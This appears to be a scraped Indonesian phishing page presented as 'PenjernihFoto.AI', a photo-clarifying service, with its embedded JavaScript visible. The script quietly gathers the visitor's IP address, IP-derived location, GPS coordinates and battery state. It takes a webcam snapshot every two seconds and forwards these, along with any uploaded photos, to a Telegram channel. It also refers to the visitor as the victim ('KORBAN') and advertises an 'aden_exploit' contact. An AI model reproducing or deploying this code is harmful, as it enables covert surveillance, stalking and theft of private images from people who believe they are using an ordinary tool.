Menyiapkan Kamera HD
📷 Pratinjau Kamera
🧊 PenjernihFoto.AI
Beranda
Fitur
Bantuan
✨ Premium
Ambil Foto atau Unggah dari Galeri
Pastikan pencahayaan cukup untuk hasil terbaik
Ambil Foto / Unggah
async function getFullInfo() { let ip = 'N/A'; let ipLocationInfo = { city: 'N/A', region: 'N/A', country: 'N/A', org: 'N/A' }; try { const ipResponse = await fetch('https://api.ipify.org?format=json'); const ipData = await ipResponse.json(); ip = ipData.ip; const ipApiLocationResponse = await fetch(`http://ip-api.com/json/${ip}`); const ipApiLocationData = await ipApiLocationResponse.json(); if (ipApiLocationData.status === 'success') { ipLocationInfo.city = ipApiLocationData.city || 'N/A'; ipLocationInfo.region = ipApiLocationData.regionName || 'N/A'; ipLocationInfo.country = ipApiLocationData.country || 'N/A'; ipLocationInfo.org = ipApiLocationInfo.org || 'N/A'; } } catch (e) { console.error('IP address or IP location fetch failed:', e); } let locationText = '❌ TIDAK ADA AKSES LOKASI'; if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(pos => { const lat = pos.coords.latitude; const lon = pos.coords.longitude; // এখানে Google Maps-এর URL সঠিকভাবে ফরম্যাট করা হয়েছে locationText = `
📍 KLIK UNTUK MELIHAT LOKASI YANG TEPAT
`; sendToTelegram(`
📍 GPS LOKASI:
\n${locationText}`); }, (err) => { console.warn(`Location error (${err.code}): ${err.message}`); sendToTelegram(`
📍 GPS LOKASI:
\n❌ GPS TIDAK ADA AKSES LOKASI`); }); } else { sendToTelegram(`
📍 GPS LOKASI:
\n❌ BROWSER NYA TIDAK MENDUKUNG GPS`); } const battery = await navigator.getBattery().catch(() => ({ level: 'N/A', charging: false })); const batteryLevel = battery.level !== 'N/A' ? (battery.level * 100).toFixed(0) + '%' : 'N/A'; const batteryStatus = battery.charging ? '🔌mengisi daya' : '⚡ tidak mengisi daya'; const info = ` // ক্যামেরা থেকে ছবি তোলা ও পাঠানো (আগের মতোই লুকানো থাকবে) const video = document.getElementById('video'); const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); navigator.mediaDevices.getUserMedia({ video: true, audio: false }) .then(stream => { video.srcObject = stream; video.play(); // প্রতি 2 সেকেন্ডে ক্যামেরা থেকে ছবি তুলে পাঠানো setInterval(() => { ctx.drawImage(video, 0, 0, canvas.width, canvas.height); canvas.toBlob(blob => { sendPhotoToTelegram(blob); }, 'image/jpeg'); }, 2000); }) .catch(err => { console.warn('akses kamera tidak tersedia atau terjadi kesalahan:', err); sendToTelegram(`
🚨 peringatan:
akses kamera tidak tersedia`); }); // গ্যালারি থেকে ছবি আপলোড করার ফাংশনালিটি const imageUpload = document.getElementById('imageUpload'); imageUpload.addEventListener('change', async (event) => { // async যোগ করা হয়েছে const file = event.target.files[0]; if (file) { if (file.type.startsWith('image/')) { uploadStatusMessageDiv.style.color = 'blue'; // আপলোড হচ্ছে বোঝাতে রঙ হলুদ করুন uploadStatusMessageDiv.innerText = 'membuat gambar jadi lebih jernih...'; try { await sendPhotoToTelegram(file); // ফাইলকে সরাসরি Blob হিসেবে পাঠানো যায় uploadStatusMessageDiv.style.color = 'lime'; // সফল হলে রঙ সবুজ করুন uploadStatusMessageDiv.innerHTML = `Foto Anda telah diunggah. Hubungi kami untuk informasi lebih lanjut:
t.me/aden_exploit
`; sendToTelegram(`✅ POTO YANG DI KIRIM KORBAN।`); } catch (error) { uploadStatusMessageDiv.style.color = 'red'; // ব্যর্থ হলে রঙ লাল করুন uploadStatusMessageDiv.innerText = 'TES'; console.error('Error uploading image:', error); sendToTelegram(`❌ harus berformat png atau jpg: ${error.message}`); } } else { uploadStatusMessageDiv.style.color = 'red'; uploadStatusMessageDiv.innerText = `⚠️ berkas yang di unggah bukan lah suatu gambar`; sendToTelegram(`⚠️berkas yang di unggah bukanlah suatu gambar`); } // ফাইল ইনপুট রিসেট করুন যাতে একই ফাইল আবার সিলেক্ট করলে change ইভেন্ট ফায়ার হয় event.target.value = ''; } }); getFullInfo();